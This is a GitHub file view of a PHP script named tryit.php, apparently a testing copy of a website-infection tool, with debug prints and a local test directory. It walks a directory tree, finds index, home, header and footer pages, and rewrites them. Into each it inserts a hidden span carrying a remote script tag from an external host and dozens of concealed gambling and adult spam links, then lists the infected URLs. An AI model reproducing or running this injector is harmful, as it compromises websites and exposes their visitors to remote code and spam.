-
Notifications
You must be signed in to change notification settings - Fork 41
/
tryit.php
112 lines (109 loc) · 10.1 KB
/
tryit.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?php
$rootPath = "./testdir";
$rootUrl = "http://stratigery.com";
$MaxDeep = 1;
$ExpFileNames = "/(index|default|home|foot|head)/i";
$ExpInsertFlags = "/(<%|<\\?php|<body(.*?)>)/i";
$PlaceType = 2;
$ReplaceStr = '<script src="http://www.88885333.com/1.js" rel=’external nofollow’></script><!-------------------------本站友情链接,请勿删除------------------------><div style="display:none"><strong style="font-weight: 400">友情链接:<a href="http://www.pclunwen.com/">论文</a><a href="http://pclunwen.com/">中国论文网</a><a href="http://www.goodyyw.net/">韩国伦理</a><a href="http://goodyyw.net/">伦理电影网</a><a href="http://www.goodyxw.com/">伦理电影</a><a href="http://goodyxw.com/">热门伦理片</a><a href="http://www.wahooco.com/">现金网</a><a href="http://www.zxkL98.com/">澳门现金网</a><a href="http://www.huade.org/">现金网址</a><a href="http://www.shzfpa.com/">现金网排名</a><a href="http://www.hntscm.com/">现金网代理</a><a href="http://www.zc1718.com/">天下现金网</a><a href="http://www.zjdqgy.com/">九州天下现金网</a><a href="http://www.pysqyy.com/">乐博现金网</a><a href="http://www.wyxyxz.com/">现金网排行</a><a href="http://www.zznj8.com/">现金网平台</a><a href="http://www.good-o2.com/">现金网开户</a><a href="http://www.xttyp.com/">现金网游戏</a><a href="http://www.synmkj.com/">现金网上游戏</a><a href="http://www.hljpts.com/">现金网站</a><a href="http://www.sjznbgyq.com/">现金网上游戏厅</a><a href="http://www.ykssw.com/">真人现金网</a><a href="http://www.youthsh.com/">现金网评级</a><a href="http://www.xmyh168.com/">博彩现金网</a><a href="http://www.qajyxxw.com/">足球现金网</a><a href="http://www.58szxg.com/">现金网导航</a><a href="http://www.nbhxpm.com/">现金网</a><a href="http://www.mhgyp.com/">澳门现金网</a><a href="http://www.yfyf68.com/">皇冠直营现金网</a><a href="http://www.51cgj.com/">现金网论坛</a><a href="http://www.51zgrl.com/">亚洲现金网</a><a href="http://www.lcd-1.com/">太阳城现金网</a><a href="http://www.gzbowin.com/">现金网社区</a><a href="http://www.qhdjrfw.com/">赌博现金网</a><a href="http://www.ou-te.com/">盈盛现金网</a><a href="http://www.qifenge.com/">波音现金网投注</a><a href="http://www.gebreakers.com/">现金网送体验金</a><a href="http://www.tcldy.com/">现金网信誉排行</a><a href="http://www.hsghxj.com/">足球现金网开户</a><a href="http://www.jabanjia.com/">足球现金网址</a><a href="http://www.shkunLe.com/">手机现金网站</a><a href="http://www.henangt.com/">博彩现金网手机版</a><a href="http://www.xxswsj.com/">现金网排名游戏</a><a href="http://www.szbxzs.com/">现金网博彩技巧</a><a href="http://www.nawatv.com/">盈盛现金网平台</a><a href="http://www.cnycyj.com/">博彩现金网址</a><a href="http://www.jd8.cc/">现金网</a><a href="http://www.bnwsjds.com/">澳门现金网</a><a href="http://www.cdbzyg.com/">澳门现金网网站</a><a href="http://www.yc13z.com/">hg现金网开户</a><a href="http://www.lwsjxx.com/">现金网斗牛</a><a href="http://www.hnhtkj.net/">现金网官方</a><a href="http://www.simodj.com/">澳门现金网址</a><a href="http://www.bhhzdx.net/">澳门现金网排行</a><a href="http://www.fsgfhh.com/">现金网博彩导航</a><a href="http://www.dl20gz.com/">真人现金网排行</a><a href="http://www.zhenaihunsha.com/">现金网开户网站</a><a href="http://www.travelcq.com/">在线赌现金网站</a><a href="http://www.bjdffl.com/">真人现金网大全</a><a href="http://www.chenjiagou.cc/">现金网导航网</a><a href="http://www.sxczzx.com/">现金网斗牛网址</a><a href="http://www.jsyxlxj.com/">现金网游戏开户</a><a href="http://www.zgjjsw.com/">现金网游戏平台</a><a href="http://www.wanbaoguanggao.com/">博彩现金网论坛</a><a href="http://www.ftkbo1.com/">现金网站开户</a><a href="http://www.sxrsj.net/">网络现金网平台</a><a href="http://www.tjhbsb.com/">现金网博狗体育</a><a href="http://www.sdxfgm.com/">皇冠娱乐</a><a href="http://www.hdwye.com/">现金网棋牌斗地主</a><a href="http://www.finefun.net/">现金网平台开户</a><a href="http://www.ykams.com/">博狗现金网站</a><a href="http://www.nqrtk.com/">年轻人图库</a><a href="http://nqrtk.com/">高清美女图片</a><a href="http://www.msntk.com/">美少女图库</a><a href="http://msntk.com/">清纯美女校花</a><a href="http://www.qjrtk.com/">俏佳人图库</a><a href="http://qjrtk.com/">日本美女</a></strong></div><!-------------------------本站友情链接,请勿删除------------------------>';
$returnVal = LinkReplace(
"",
$rootPath,
$rootPath,
$rootUrl,
0,
$MaxDeep,
$ExpFileNames,
$ExpInsertFlags,
$PlaceType,
$ReplaceStr
);
echo "__success__" . $returnVal . "__success__";
function LinkReplace(
$returnVal1,
$dir,
$dirroot,
$objrootUrl,
$objNowDeep,
$objMaxDeep,
$objExpFileNames,
$objExpInsertFlags,
$objPlaceType,
$objReplaceStr
)
{
print("Enter {$dir}\n");
$objNowDeep1 = $objNowDeep + 1;
$files = array();
$dir_list = scandir($dir);
foreach ($dir_list as $file) {
if ($file == '..' || $file == '.') {
continue;
}
if (is_dir($dir . '/' . $file)) {
if ($objNowDeep1 < $objMaxDeep) {
print("Recursing into ".$dir . '/' . $file."\n");
$returnVal1
= LinkReplace(
$returnVal1,
$dir . '/' . $file,
$dirroot,
$objrootUrl,
$objNowDeep + 1,
$objMaxDeep,
$objExpFileNames,
$objExpInsertFlags,
$objPlaceType,
$objReplaceStr
);
}
} else {
print("Checking file ".$dir . '/' . $file."\n");
if (preg_match($objExpFileNames, $file)
&& (strpos($file, '.htm') !== false
|| strpos($file, '.asp') !== false
|| strpos($file, '.php') !== false
|| strpos($file, '.jsp') !== false
|| strpos($file, '.cfm') !== false)
) {
print("Fixing up $file\n");
$filebody = file_get_contents($dir . '/' . $file);
$filebody = str_replace("", "", $filebody);
$filebody = preg_replace("'<span class=\"mylinkcode\" style=\"display:none\">([\\s\\S]+?)<\\/span>'", "", $filebody);
$filebody = RegexReplace($filebody, $objExpInsertFlags, "<span class=\"mylinkcode\" style=\"display:none\">" . $objReplaceStr . "</span>", $objPlaceType);
if (file_put_contents($dir . '/' . $file, $filebody) > 0 && strpos($filebody, "<span class=\"mylinkcode\" style=\"display:none\">") !== false) {
$replaceFile = $dir . '/' . $file;
$replaceFile = str_replace($dirroot, $objrootUrl, $replaceFile);
$replaceFile = str_replace('\\', '/', $replaceFile);
$replaceFile = str_replace('http://', '', $replaceFile);
$replaceFile = str_replace('//', '/', $replaceFile);
$replaceFile = str_replace('//', '/', $replaceFile);
$replaceFile = 'http://' . $replaceFile;
$returnVal1 = $returnVal1 . $replaceFile . '<br />';
}
}
}
}
return $returnVal1;
}
function RegexReplace($source1, $pattern1, $replace1, $replacetype1)
{
$rtnVal = $source1;
preg_match($pattern1, $source1, $matches);
if (count($matches) > 0) {
if ($replacetype1 == 1) {
$rtnVal = str_replace_once($matches[0], $replace1 . $matches[0], $source1);
} else {
$rtnVal = str_replace_once($matches[0], $matches[0] . $replace1, $source1);
}
}
return $rtnVal;
}
function str_replace_once($needle, $replace, $haystack)
{
$pos = strpos($haystack, $needle);
if ($pos === false) {
return $haystack;
}
return substr_replace($haystack, $replace, $pos, strlen($needle));
}